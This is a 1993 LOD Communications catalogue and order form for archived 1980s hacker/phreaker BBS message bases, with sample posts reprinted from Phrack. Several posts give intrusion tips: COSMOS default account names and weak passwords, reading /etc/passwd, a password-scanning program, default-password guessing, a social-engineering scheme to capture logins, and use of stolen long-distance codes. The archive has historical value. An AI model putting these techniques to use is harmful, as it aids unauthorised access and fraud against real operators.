Alliance BBS 618 Phantom Phreaker 113 2/09/86 ‑ 215 $ 3.00 B Doom Prophet G,P 6/30/86

Black Ice Private 703 The Highwayman 880 12/1/88 ‑ 580 $ 7.00 B

P,U 5/13/89

Broadway Show/ 718 Broadway Hacker 180 9/29/85 ‑ 99 $ 3.00 B

Radio Station BBS 12/27/85

CIA BBS 201 CIA Director 30 5/02/84 ‑ 30 $ 1.00

6/08/84

C.O.P.S. 305 Mr. Byte‑Zap 227 11/5/83 ‑ 196 $ 4.00 B The Mechanic G,R,U 7/16/84

Face To Face 713 Montressor 572 11/26/90 ‑ 400 $ 2.00 B Doc Holiday * 12/26/90

Farmers Of Doom 303 Mark Tabas 41 2/20/85 ‑ 124 $ 2.00 B

G 3/01/85

Forgotten Realm 618 Crimson Death 166 3/08/88 ‑ 163 $ 3.00 B

4/24/88

Legion Of Doom! 305 Lex Luthor 194 3/19/84 ‑ 283 $ 6.00 B Paul Muad'Dib * G,P,U 11/24/84

Metal Shop Private 314 Taran King 520 4/03/86 ‑ 380 $ 4.00 BD Knight Lightning P,R,U 5/06/87

OSUNY 914 Tom Tone 375 7/9/82 ‑ 368 $ 8.00 B Milo Phonbil * G,U 4/9/83

Phoenix Project 512 The Mentor 1118 7/13/88 ‑ 590 $ 4.00 B Erik Bloodaxe * G,R 2/07/90

Plover‑NET 516 Quasi Moto 346 1/14/84 ‑ 311 $ 5.00 B Lex Luthor * G 5/04/84

Safehouse 612 Apple Bandit 269 9/15/83 ‑ 251 $ 4.00 B

G,U 5/17/84

Sherwood Forest I 212 Magnetic Surfer 92 5/01/84 ‑ 85 $ 2.00 B

P,U 5/30/84

Sherwood Forest ][ 914 Creative Cracker 100 4/06/84 ‑ 239 $ 3.00 B Bioc Agent 003 * G 7/02/84

Split Infinity 408 Blue Adept 52 12/21/83 ‑ 36 $ 1.00 B

1/21/84

Twilight Phone ??? System Lord 17 9/21/82 ‑ 24 $ 1.00

1/09/83

Twilight Zone/ 203 The Marauder 108 2/06/85 ‑ 186 $ 3.00 B Septic Tank Safe Cracker * G,U 7/24/86

WOPR 617 Terminal Man 307 5/15/84 ‑ 266 $ 6.00 B The Minute Man * G,U 1/12/85

_______________________________________

NOTES: In SYSOP(S) column, * indicates remote sysop.

In #msgs column, P indicates that the BBS was Private, R indicates BBS was public but restricted access sub‑board(s) are included, G indicates that SOME (or maybe all) of the G‑files written by the sysop and/or files that were available on the BBS are included, U indicates that a BBS Userlist (typically undated) is included.

DATES column shows the starting and ending dates for which messages were buffered (and therefore available) although there may be some gaps in the chronological order.

KBYTES column shows size of complete file containing messages, g‑files, userlist, etc. COST column indicates current cost of message base in U.S. Dollars, "B" indicates that a "BBS Pro‑Phile" was written and is included, "D" indicates that 100% of all orders for that BBS (Metal Shop Private) will be donated to help pay for Craig Neidorf's (Knight Lightning) Legal Defense bills.

LODCOM is currently organizing and splicing messages from over 30 more H/P BBSes [shown below] and, as the files are completed and/or as additional messages are procured for the above systems, updates of this listing will be released. Next release is expected some time in JUNE of 1993: Modem Over Manhattan (MOM), 8BBS (213), Mines of Moria (713), Pirates Cove (516) sysop: BlackBeard, Catch‑22 (617) sysop: Silver Spy, Phreak Klass 2600 (806) sysop: The Egyptian Lover, Blottoland (216) sysop: King Blotto, Osuny 2 (a.k.a. The Crystal Palace) (914), The Hearing Aid, Split Infinity (408), (303) sysop: The ShadowMaster, ShadowSpawn (219) sysop: Psychic Warlord, IROC (817) sysop: The Silver Sabre, FreeWorld II (301) sysop: Major Havoc, Planet Earth, Ripco (312) sysop: Dr. Ripco, Hackers Heaven (217) sysop: Jedi Warrior, Demon Roach Underground (806) sysop: Swamp Ratte, Stronghold East Elite (516) sysop: Slave Driver, Pure Nihilism, 5th Amendment (713) sysop: Micron, Newsweek Elite (617) sysop: Micro Man, Lunatic Labs (415) sysop: The Mad Alchemist, Laser Beam (314), Hackers Den (718) sysop: Red Knight, The Freezer (305) sysop: Mr. Cool, The Boca Harbour (305) sysop: Boca Bandit, The Armoury (201) sysop: The Mace, Digital Logic's Data Center (305) sysop: Digital Logic, Asgard (201), The KGB, Planet Earth (714), PBS (702), Lost City of Atlantis sysop: The Lineman, and more.

Hacking/Phreaking Tutorials a.k.a. "G‑Philes":

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Along with the above H/P BBS Message Bases, LODCOM has collected many of the old "philes" that were written and disseminated over the years. A list of all of them would take up too much space here, however, we can tell you that the majority are NOT files that were originally written for electronic newsletters such as Phrack, PHUN, ATI, etc. (with the perhaps obvious exception of the LOD/H Technical Journal). Those files/newsletters are readily available from other sources. This hodgepodge of files includes files from Bioc Agent 003, Legion of Doom members, and many others that somehow fell out of widespread circulation. A Table of Contents of the collection is included but the tutorials are all grouped together in four large files of approximately 250K each. This collection will have additions with each update of this file. See the order form for the price (price will go up as more files are added).

The Order Form:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ C U T ‑ H E R E ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

LOD Communications H/P BBS Message Base ORDER FORM

~~~~~~~~~~~~~~~~~~~~~~~~~

PERSONAL RATE: Due to the economics involved in diskettes, disk mailing containers, snail mail costs, and time to fill orders, a MINIMUM ORDER of $20.00 is required for all personal requests. If all 20 message bases are ordered (containing 5700+ messages), the cost is discounted to $39.00; if you order $20.00 worth (the minimum) or more, you get $5.00 worth in addition as a discount. That is, pay for $20.00 and get $25.00 worth of message bases.

COMMERCIAL RATE: Corporations, Universities, Libraries, and Government Agencies must order the complete set (Volume #1) and pay a higher rate. For Price Listing Version #1 Released 5/15/93 (20 boards total), the price is $99.00 (note that new messages that surface for any BBS purchased will be sent completely FREE of ANY additional charge).

H/P BBS Names: ____________________________________

[Write: COMPLETE _______________________________________

SET if you want

all messages] ____________________________________

"G‑Phile" Collection Version #1 (Optional): $____________ ($10.00 Personal)

25.00 Commercial)

Disk Format/Type of Computer: _____________________________________

(Please be sure to specify diskette size [5.25" or 3.5"] and high/low density)

File Archive Method (.ZIP [preferred], .ARJ, .LHZ, .Z, .TAR) ____________ (ASCII [Non‑Compressed] add $2.00 to order)

Texas Residents add 8% Sales Tax.

If outside North America please add $5.00 for Shipping & Handling.

Total Amount (In U.S. Dollars): $ ___________

Payment Method: Check or Money Order please.

Absolutely NO Credit Cards, even if it's yours :‑)

By purchasing these works, the Purchaser agrees to abide by all applicable U.S. Copyright Laws to not distribute or reproduce, electronically or otherwise, in part or in whole, any part of the Work(s) without express written permission from LOD Communications.

Send To:

Name: _____________________________________

Organization: _____________________________________ If applicable)

Street: _____________________________________

City/State/Zip: _____________________________________

Country: _____________________________________

E‑mail address: _____________________________________ If applicable)

PRIVACY NOTICE: The information provided to LOD Communications is used for sending orders and periodic updates to the H/P BBS Message Base Price List. It will NOT be given or sold to any other party. Period.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ C U T ‑ H E R E ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Remit To: LOD Communications

603 W. 13th

Suite 1A‑278

Austin, Texas USA 78701

Lodcom can also be contacted via E‑mail: lodcom@mindvox.phantom.com Voice Mail: 512‑448‑5098

_______________________________________

End Order File V.1

LOD Communications: Leaders in Engineering, Social and Otherwise ;)

Email: lodcom@mindvox.phantom.com

Voice Mail: 512‑448‑5098

Snail Mail: LOD Communications

603 W. 13th

Suite 1A‑278

LODCOM Sample Messages

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 19 of 27

Lodcom Sample Messages Set #1, 4/20/93

In order to provide a better feeling for the content of what the LOD Communications Underground Hack/Phreak BBS Message Base Archives contain, 31 messages were selected from the overall collection of posts for 5 Boards. Note that the samples contained herein are fairly typical and are but a very small fraction of the 5000+ messages from over 50 systems that LODCOM currently possesses. Additional BBS's and messages are being added constantly. Consult the Price Listing [First Version due to be released in Late April 1993 and periodic additions thereafter] for an up‑to‑date catalog of our holdings and costs (minimal).

The selection of messages in Set #1 are from the following Systems:

H/P BBS Name A/C Sysop(s) Circa

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OSUNY 914 Tom Tone & Milo Phonbil 1982/83 WOPR 617 Terminal Man & The Minute Man 1984/85 Phoenix Project 512 The Mentor & Erik Bloodaxe 1988/89/90 The Twilight Zone 203 The Marauder & SafeCracker 1985/86 Black Ice Private 703 The HighwayMan & The Mentor 1988/89

________________________________________

H/P BBS Message Bases to be available in the near future (in addition to the above five) are:

8BBS (213) Circa 1980/81, Modem Over Manhattan (MOM), Twilight Phone (1982), Legion of Doom! (305) sysop: Lex Luthor, Plover‑NET (516) sysop: Quasi Moto, Sherwood Forest II (914) co‑sysop: Bioc Agent 003, Alliance BBS (618) sysop: Phantom Phreaker, Catch‑22 (617) sysop: Silver Spy, Blottoland (216) sysop: King Blotto, Osuny 2 (aka The Crystal Palace) (914), Mines of Moria (713), Pirates Cove (516) sysop: BlackBeard, The Hearing Aid, Split Infinity (408), Farmers of Doom! (303) sysop: Mark Tabas, Shadowland (303) sysop: The ShadowMaster, Metal Shop Private (314) sysops: Taran King and Knight Lightning, ShadowSpawn (219) sysop: Psychic Warlord, IROC, FreeWorld II (301), Planet Earth (714), The C.O.P.S. (305), Ripco (312) sysop: Dr. Ripco, Hackers Heaven (217) sysop: Jedi Warrior, Demon Roach Underground, Stronghold East Elite (516) cosysop: Slave Driver, Pure Nihilism, 5th Amendment (713), Newsweek Elite (617), Phreak Klass 2600 (806), Lunatic Labs (415), Laser Beam (314), Hackers Den, The Freezer (305) sysop: Mr. Cool, The Boca Harbour (305) sysop: Boca Bandit, The Armoury (201) sysop: The Mace, Digital Logic (305), Asgard (201), The CIA bbs, The KGB bbs, Face to Face (1990), Broadway Show (718) Sysop: Broadway Hacker, The Safehouse (612) circa 1983/4, Lost City of Atlantis (215), The Private Sector (2600 sponsor BBS), and more.

This message constitutes explicit Permission by LOD Communications to disseminate this File containing 31 actual messages from our Copyrighted (c) 1993 collection of H/P BBS Message Bases so long as the contents are not modified. No part of this File may be published in print without explicit permission by Lodcom.

Lodcom Sample H/P BBS Messages:

~~~~~~~~~~~~~~~~~~

*** {OSUNY (914) Sysop(s): Tom Tone and Milo Phonbil (both wrote for TAP)} *** *** {Osuny is perhaps the most legendary Phreak Board of all time} ***

Msg.:118

Date:10/5/82

From:MILO PHONBIL

To:ALL

About:STANFORD STUFF

Greetings, Stanford phreaks!

It seems that those "strange" numbers

are really ones that

will appear if another person is signed

on to the same id.

(Like AA.TEG AA.TEG#2 AA.TEG#3 and so on

.) Also, while there

is no MAIL facility available to "GUEST"

accounts, there is

a way to send a one‑liner to someone els

e. The command format

is: TO gg.uuu msg

Where gg.uuu is the person's id, and the

msg is of course,

the message. Also, their SPIRES database

is quite

interesting! Type CALL SPIRES, then SHOW

SUBFILES. Then you

must SELECT a subfile. For a complete tu

torial, try:

TUTORIAL MASTERLIST

SPIRES is ended by typing EXIT at the ‑>

prompt.

Later, MILO PHONBIL

Msg. :180

About :MAINFRAMES

>From :DATA BANDIT

To :ALL PHREAKS

Date :2/23/83 00:00

OK PHREAKS....YOU NEED HELP ON TSO

FORMATS,SPF FORMATS,GDDM FORMATS?

THIS IS THE GUY TO ASK....I'M DAMN

GOOD AT IT...I WORK AS AN OPERATOR

ON SUCH SYSTEMS AND KNOW THESE BABIES

LIKE I KNOW MY OWN FACE....SO IF YOU

NEED HELP...JUST DROP ME A LINE HERE

OR ON MY BOARD....303‑xxx‑3015....

24 HRS.....I CAN SHOW YOU HOW TO SET

UP A PROGRAM ONCE ON IT TO DUMP ALL

SYSTEM PASSWORDS AND ALL DATASET

PASSWORDS...ETC...SET UP YOURT

OWN USER ID...THE WHOLE 9 YARDS...

I HAVE MY COMPANY BY THE F*CKING

BALLS! SO I CAN TEACH YOU TOO....

JUST ASK ME.....

THE ONE AND ONLY

DATA BANDIT

][][ ][][][

ON A MAINFRAME NEAR YOU!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\‑/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

?

MEMBER P.H.A.

Msg. :396

About :PHREAK BBS ON THE SOURCE!!!

>From :MAXWELL WILKE

To :ALL

Date :3/25/83

Well, believe it or not, there is alread

y two small phreak

BBS's on The Source!!! They have traded

some minor info,

including some Sprint codes, and other s

uch folly. But

the thing is, it's there, has been there

since october '82,

and The Source knows about it, and they

don't care!

the BBS's are on the Source's PARTIcipat

e, which, admitedely,

is a very large, powerful "thing." In a

ddition to the

two on there now, I took the liberty to

create my own, entitled

the "P‑MENU.SAV GROUP". It is Conferenc

e # 83.3257 .

Any CompuServe conference members out th

ere interested in

moving over to PARTIcipate on The Source

, let me know.

If you do not have instructions on it, I

'll mail 'em to you

if you give me your address. I'll see w

hat I can do about

getting some more Source accounts. A fr

iend of mine

listed 'em all!

later,

MW

P.S. To all fans of my modifications to

The Source:

Sorry, the good 'ole boys at STC p

icked up on what

i did to them (Snicker... haw.. ha

w) and they cor‑

rected my modifications. i put 'e

m back, and they

fixed 'em again, etc, etc, until t

hey finally looked

up in their PR1MENET REFERENCE MAN

UAL and figured out

how to protect their accounts! Oh

well...

Msg. :476

About :BAD NEWS

>From :THE HACKER

To :ALL

Date :4/8/83

BAD NEWS SPRINT IS AT IT AGAIN THEY JUST CAUGHT SOMEONE

LAST NIGHT NOW THEY ARE GOING FOR A SECOND KILL

THEY ARE GOING AFTER ZERO PAGE THEY HAVE BEEN CALLING AROUND

ABOUT SO IF ANYONE OUT THERE KNOWS HIM TELL HIM THAT

THEY ARE CALLING AROUND NOW THAT SPRINT AND MCI ARE OUT TO GET

ALL OF THE PHREAKS DOES ANYONE HAVE ANY GOOD SERVICES THAT

ARE SAFE I AM USING ITT

HOW SAFE IS THAT???

PLEASE RESPOND BACK SOMEBODY!

THE

HACKER

[*]THE INNER CIRCLE[*]

=‑=‑=‑=‑=‑=‑=‑=‑

Msg. :519

About :SPRINT/MCI/OTHER BUGGERS

>From :ROGER OLSON

To :ALL

Date :4/17/83

I highly recommend the proceedure mentio

ned here earlier for

staying OUT OF TROUBLE with "the competi

tion". Look for your

own passwords. Don't use the ones posted

on BBS's except maybe

once, to "get a feel" of how the particu

lar switch works. If

possible, test the codes between 8 ‑ 11

AM to detirmine if they

are business codes or not. When possible

, use a local loop to

call into/out of to the switch you are u

sing. This simply adds

more frustration in the event anyone is

tracing. When possible,

STAY AWAY completely from these OCC's, o

pting instead to use the

Wats lines from large companies, via the

ir remote call in ports.

You always want to stay away from system

s that individually

account for each call, as MCI/Sprint do.

WATS lines, on the

other hand, especially in older exchange

s, do not record every

number called ‑ just the total time the

line was in use, in

hours per month. In either case....have

your phun now!! Cause

after the Final Judgement and Settlement

is implemented next

year, you will place <<all>> long distan

ce calls by merely

dialing the number desired, and entering

a two digit "choice

of carrier" code (for ATT, MCI, Sprint,

Allnet, etc) and your

local central office will use ANI to sup

ervise your call! The

outfits like MCI will discontinue dealin

g with the public as

such, and will only deal <with other tel

ephone companies> who

in turn will act like billing/collection

agents for MCI, etc.

Watch and see! The times are changing! N

o more phucking around!

Msg.: 211

Date: 10/17/82

From: ROBERT ALLEN

To: ALL

About: WHITE HOUSE

IF ANY OF YOU ARE WONDERING,

800‑424‑9xxx IS WHAT IS

KNOWN AS THE WHITE HOUSE SIGNAL (SWITCH

BOARD),

AND IT IS RELATIVELY NASTY/FUN, IF ONE

KNOWS ALL OF THE

SILLY CODEWORDS TO USE.. A FRIEND AND 8

OTHER PHREAKS

GOT TRICKY DICK OUT OF BED AT 2:30 AM,

BY ASKING FOR "OLYMPUS". I HEAR THERE

ARE TAPES OF THE CALL FLOATING AROUND...

800‑424‑9xxx IS A WH. HOUSE PRESS RECORD

ING,THAT CAN BE QUITE

FUN, IF YOU LIKE RON'S SPEECHES EARLY...

DIAL ANYWHERE,

BUT DIAL WITH CARE

‑‑BOB‑‑

Msg. :111

About :***WARNING!!!***

>From :JIMMY HOFFA

To :***PHELLOW‑PHREAKERS***

Date :2/19/83 00:00

"FOR ALL YOU *PHELLOW‑PHREAKERS* OUT THERE......

there seems to be some "negativeness" out there from a few

select peo`le!. WELL, For one thing "THEY" must realize

A "*PHREAKER*" IS *NEVER* "*NEGATIVE*" (TAKE NOTE!!. RODGER‑OLSON!!).. We ARE A SELECT BREED WHO HAVE BEEN

BLEd WITH A REAL UNSATISFYING "THIRST" FOR..

"@KNOWLEDGE*" and Willing to share with "PHELLOW‑PHREAKERS".

WE CAN DO ANYTHING *MA* CAN DO, ONLY WE CAN DO IT BETTER!!!!!

WHO NEEDS "PESSIMISM" ANYWAY???? DID PESSIMISTs HELP BUILD OUR COUNTRY, OUR COMPUTERS, OUR WORLD AROUND US???

NO!!! POSITIVE THINKERS DID, THAT'S WHO!!! PEOPLE WHO HAVE A NEVER‑ENDING THIRST FOR KNOWLEDGE, CHALLENGE, AND FOUND NEW IN‑ROADS TO HELP BETTER OURSELVES!!!

THESE ARE WHAT "I" CALL THE "*REAL*" "PHREAKERS"!!! HOW ABOUT YOU!!! WE CAN TURN NEGATIVES TO POSITIVES EASIER THAN MOST CAN BRUSH THEIR TEETH! WE DON'T NEED NEGATIVES BECAUSE THERE'S ALREAXDY TOO MANY OUT THERE! WHAT WE NEED IS MORE PEOPLE WITH

A POSITIVE‑MENTAL‑ATTITUDE THAT CAN HELP FURTHER OUR

QUEST FOR KNOWLEDGE GAINING A SATISFACTION UNBEKNWNST to "NEGATIVE"‑"PESIMISTIC" PEOPLE!

HAD TO SAY IT AND I DON'T REGRET IT!

THIS WAS A>>>>>>

****PUBLIC************

****SERVICE************

***ANNOUNCEMENT*****************

________________________________________

*** {WOPR (617) SYSOP: Terminal Man. WOPR was a private phreak board and} *** *** {was considered one of the best H/P systems of the time. The} *** *** {following Messages are from 1984 unless stated otherwise} ***

Message #33: QUORUM

Msg left by: KING BLOTTO

Date posted: TUE MAY 29 3:13:14 PM {1984}

TO ALL MY SUBJECTS:

THIS TOPIC IS ABOUT CONFERENCES.

AS MANY OF YOU KNOW, I DON'T CONFERENCE

ANYMORE SINCE INFOWORLD PUT OUT AN

ARTICLE ON IT ON MARCH 26. THE REASON

BEING: THERE ARE N‑O SAFE EXCHANGES

BEING USED TODAY. EVERYONE SAYS; "BUT

THIS IS CHICAGO", "THIS IS A DALLAS

EXCHANGE", "THEY CAN'T TRACE CONFEREN‑

CES!". THE LAST ONE IS MY FAVORITE. THE

SYSTEM USED BY ALMOST EVERYONE TODAY IS

ALLIANCE TELECONFERENCE. THIS IS NOT

BELL OPERATED. QUORUM IS THE BELL CONF.

SYSTEM. AND IT'S WORSE THAN ALLIANCE.

NEWS HAS IT, THAT ALLIANCE TELECON‑

FERENCE MIGHT BE GOING UNDER NOW. BUT

THEY HAVE STARTED TAKING PEOPLE WITH

THEM. ( 5 TO DATE, AS I KNOW) ALLIANCE

IS SUPER‑PISSED, WELL, WOULDN'T YOU BE?

AND ESPECIALLY AFTER EVERY LITTLE 15YR

OLD LEARNS HOW TO START ONE UP, HE'LL

BE JUST GETTING THEM MORE PISSED OFF.

THE ABUSE HAS GROWN TO A MAXIMUM. I AM

TRYING TO FIND OUT ALL I CAN ON

QUORUM AT WORK. I'LL POST THE INFO AS

IT COMES IN.

MAJESTICALLY,

KING BLOTTO

P.S.‑ READ THE 3/26/84 INFOWORLD!

<1‑48 LAST=33 E=mail Q=Quit T=Titles>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

69> COSMOS & UNIX

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg left by: BIOC AGENT 003

Date posted: MON AUG 6 11:18:23 AM

COSMOS is basically a modified UNIX sys

tem. When a non‑priviledged COSMOS

user logs on, a program usually called

/BIN/PERMIT is run. This tells the

system which COSMOS commands the user i

s allowed to use.

On the other hand, when a priviledged u

ser logs in (ie, root, sys, bin, or

preop), he is put into the normal UNIX

shell (SH) where he can utilize

UNIX commands such as: who & cat /etc/

passwd (which will printout the

password file). These users can also t

ype CHDIR /USR/COSMOS and use ANY of

the COSMOS commands since COSMOS is rea

lly a sub directory in a UNIX system.

They also have a bad (good?) habit of l

eaving administrative notices and files

(such as the decrypted passwords) layin

g around in different directories of

the system. In fact, one system down i

n Washington, DC has a BIN account

with no password (!) until some ASSHOLE

decided to change the message of the

day"I broke in, ha, ha ‑‑Joe Smuck"!!!

If you can't get into one of the privil

edged accounts then you might as well

try for a regular COSMOS account. The

typical setup is two letters followed

by 2 numbers. Here are a few common on

es:

TRxx (TRaining ‑‑ eg, TR01, TR02, etc.)

LSxx(Lac Staff)

LA (Line Assignement)

FMxx (Frame Manager)

NMxx (NAC Manager)

RSxx (Repair Service)

LMxx (LMOS debug)

etc...

You best bet would be too go for one of

the managers accounts such as NM01.

There is also usually a user‑name of CO

SMOS on the system.

The passwords are usually pathetic. Tr

y things such as: COSMOS, FRAME, TELCO,

etc.) Also try simple words such as:

CAT, BAT, RAT, etc.

You'll have to guess at the Wire Center

, though (WC). It will always b 2

letters.

Excelsior,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1‑79 LAST=69

[E]mail

[A]bort

[T]itles

:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

78> Intro To C Search

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg left by: LORD DIGITAL

Date posted: FRI AUG 17 6:20:13 AM {1984}

Ok what the program "C PW Scanner", or

"The C Search" does is fairly

simple. It reads through the main passw

ord file searching for a match between

A person's name and password and compar

es the two. If they match, or if

a person's pw is simply his name spelle

d backwards. it will write the

pw's into a file name of your choice. T

his should net you several paswords

for every scan at least. The percentage

of stupid people on any given

system is usually quite high. The entir

e search should take about 5 mins.

Obviously it can't do too much consider

ing everything is crypted...

The entire program is internal, and ass

umes you have at least one accnt.

allready present on the system in quest

ion.

Instructions :>

Pretty simple, all you do is: Uplo

ad the text file, use the CC (Compile

C) utility, which will give you th

e "a.out" (assembly out), now just

rename the file (mv) to whatever y

ou wish to call it...

If anyone wants to trade various C prog

rams (trojan horses (not that kind),

programs that search for ports with out

dial capabilty, etc...) leave e‑mail

later‑

.../\^ lord digital ^/\...

‑‑‑‑‑‑‑‑‑‑‑‑

‑Spectral ‑‑ Phorce‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1‑90 LAST=78

[E]mail

[A]bort

[T]itles

:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

83> the old fashioned way...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg left by: BIG BROTHER

Date posted: FRI AUG 17 10:36:45 PM

It might be just as easy when hacking

idiot's passwords (User Name, same

again; first name, same again; etc.) to

do it the old‑fashioned way‑‑by hand.

Hey, in half an hour I found 15 account

s on my 'private' 617 VAX VMS 3.6.

Some of them are even partially privili

ged.

Another thing, always try default pas

swords. If the system lets priv'gd

users log in thought dial‑in lines and

the default psswds are still there,

you've struck gold. As the wise man sa

y, "Keep it to yourself." I once

the phone number to a Ztel Prime system

(linked to Primenet which eventually

links to milnet) with my operator accou

nt (User:OPERATOR, no password‑‑default)

to a few people. They abused the acco

unt(created 10 or 15 other accts for

themselves) and it died within days....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1‑90 LAST=83

[E]mail

[A]bort

[T]itles

:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

85> Pissed As SHIT!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg left by: SHARP RAZOR

Date posted: SAT AUG 18 4:09:16 AM

That is right! i finally have the time

and sit down and work with my Wash. DC

BIN and PREOP accounts, and 'lo and

behold...i call up (i hadn't called for

about 5 days) and the #'s were changed.

...not 1..but all 4 dial‑ups!!

Talk about an abused system! Some of yo

u may not know it, but someone logged

on and left a cute logon bulletin to

all the AT&T bus. people, etc...that

went sort of like 'haha, Kilroy wuz

here!'...(real cute and intelligent,

huh??)..besides that...there were times

when I would call at 2AM on a weekday,

and see 15‑20 people on‑line...

...and all on the same account!!!

(since the # is changed, I can say it

WAS the MF01 act. they were using)

Let this be a lesson NOT to go around

POSTING COSMOS dial‑ups on anything

besides a very private BBS,and especial

ly not the pw's!...I KNOW that the

lower level accounts were given away..

..but I hope at least the sysop ones

weren't..in any case this really shows

me not to be so liberal when I hand

out COSMOS pw's again.

..Later..

..Sharp Razor>>

The Legion of Doom!

(dont worry, I am just a bit po'ed now,

but I MAY get over it!!)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1‑90 LAST=85

[E]mail

[A]bort

[T]itles

:

Message #87: MORE ESS

Msg left by: PAUL MUAD'DIB

Date posted: TUE JUN 19 2:59:05 PM

I've got many switch and frame #'s to

trade, and here's a fun way to get pw's

or destroy bbs's‑

call the switch and do what I said

in msg 78 asking for call forwarding

on an anonymous # (NOT your local tym‑

or tele‑ nets, they DO know them to be

special dials)..when he puts it in,

call the "frame" #, and say "Hiya,

this is Bob Lineman, could you run

into the MDF, and try to activate the

call forwarding on NNX‑XXXX? send it

to NNX‑XXXF, please, I need to check

it out from both ends..." then, hook

your computer up to the payphone that

NNX‑XXXF is, and set up a simulator

for the login to that system. When you

have it in your pocket, call the frame

back and say "Hi, me again, would you

just disengage the forwarding on that

# for me? I've got the problem, but I

need it recieving calls to fix it.."

then you can re‑hack it later if you

want by just calling the frame again

in a different shift..

later,

Paul Muad'Dib

Legion

of

Doom

1‑90 Last=87 E=Mail Q=Quit T=Titles ‑

Message #38: BOSTON COSMOS

Msg left by: DOCTOR WHO

Date posted: WED MAY 30 10:16:55 PM

OK HERE IS A FRESH COSMOS DIALUP..SORRY

NO PASSWORD...GO TRASHING BOSTONIANS!

617‑338‑5xxx

SPEAKING OF COSMOS, I WENT TRASHING TOD

AY AND GOT A COSMOS PASSWORD. IT SEEMS

TO BE A HIGH ACCESS ONE, THEY BROKE IN

ON THE GUY USING IT TO DO MAINTENANCE.

THE NAME IS FF01. NOW ALL I NEED IS THE

DIALUP. I CAN'T SCAN WITH MY MODEM. IF

ANYONE WANTS TO DO A LONG‑DISTANCE SCAN

OF 413, I WILL GIVE YOU THE EXCHANGES T

O HACK, AND THE PASSWORD. PLEZE!

OH, IF THERE ARE ANY PHREAKS IN THE 413

NPA READING THIS, PLEASE REPLY..ITS

LONELY OUT HERE! CONFERENCES: TOO BAD

IF A COMPANY GOES OUT OF BUSINESS BECAU

SE OF PHREAKS...ONE LONG‑DISTANCE COM

PANY WHO IS BUGGING ME SAYS THAT PHREAK

ING IS FORCING THEM OUT OF THE BUSINESS

THAT IS BULLSHIT. DON'T BELIEVE IT.

THE PHONE CO.'S MAKE SO MUCH PROFIT ITS

PITIFUL. IF IT WASN'T FOR PHREAKS

WE WOULD STILL BE STUCK WITH SXS. SO WE

HAVE CREATED MANY JOBS..IN AT+T, GTE, I

TT...AND IN THE FBI. SO FEEL GOOD..YOU'

VE HELPED THE ECONOMY! I HEARD THAT MCI

TAKES A BIG TAX LOSS ON STOLEN SERVICES

. MUCHO BUCKS SAVED! THATS ALSO (PROBAB

LY) THE REASON THE METROPHONE DOESN'T TR

Y HARD TO CATCH PHREAKS.

YOU KNOW IF THERES ONE THING I CAN'T

STAND ITS POLITICS AMONG PHREAKS..ONE

PERSON TRYING TO MAKE OTHERS L1 %'AD

AND SAY" I RULE!" YOU KNOW WHAT I MEAN?

YOU PEOPLE WHO I'ME TALKING ABOUT: NOW

THAT YOU'RE HERE UNDER DIFFERENT NAMES,

TRY TO BEHAVE!..'NUFF SAID

THE T.H.A. (TIMELORDS HOLY ALLIANCE) IS

THE GROUP THAT REALLY RULES..BECAUSE WE

DON'T HAVE ANY RULES...NO INITIATION..

NO NOTHING...AND YOU NEVER HEAR ANYBODY

BADMOUTHING US, DO YOU?

IS THERE A GOOD WAY TO BULLSHIT THE

FONE CO. FOR THE COSMOS DIALUP?

BYE....

‑‑‑‑‑‑‑‑‑‑‑=?> DOCTOR WHO <?=‑‑‑‑‑‑‑‑‑‑

<1‑48 LAST=38 E=mail Q=Quit T=Titles>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MESSAGE #81: HACK‑A‑TRIP

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg left by: BROADWAY HACKER

Date posted: TUE JUL 24 8:24:02 PM

As you have probably seen on some other

good boards, I am ex‑

tending an offer to anyone who wants to

come to New York for

